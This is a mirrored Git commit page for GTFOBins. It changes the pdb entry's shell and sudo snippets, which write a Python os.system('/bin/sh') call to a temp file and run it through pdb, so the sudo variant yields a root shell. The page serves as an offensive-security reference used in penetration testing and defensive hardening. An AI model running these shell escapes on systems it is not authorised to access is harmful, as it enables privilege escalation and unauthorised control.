mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Avoid temp directory in pdb
This commit is contained in:
parent
41124f24c2
commit
1342a7b981
@ -2,14 +2,14 @@
|
||||
functions:
|
||||
shell:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo 'import os; os.system("/bin/sh")' > $TF/x
|
||||
pdb $TF/x
|
||||
TF=$(mktemp)
|
||||
echo 'import os; os.system("/bin/sh")' > $TF
|
||||
pdb $TF
|
||||
cont
|
||||
sudo:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
echo 'import os; os.system("/bin/sh")' > $TF/x
|
||||
sudo pdb $TF/x
|
||||
TF=$(mktemp)
|
||||
echo 'import os; os.system("/bin/sh")' > $TF
|
||||
sudo pdb $TF
|
||||
cont
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user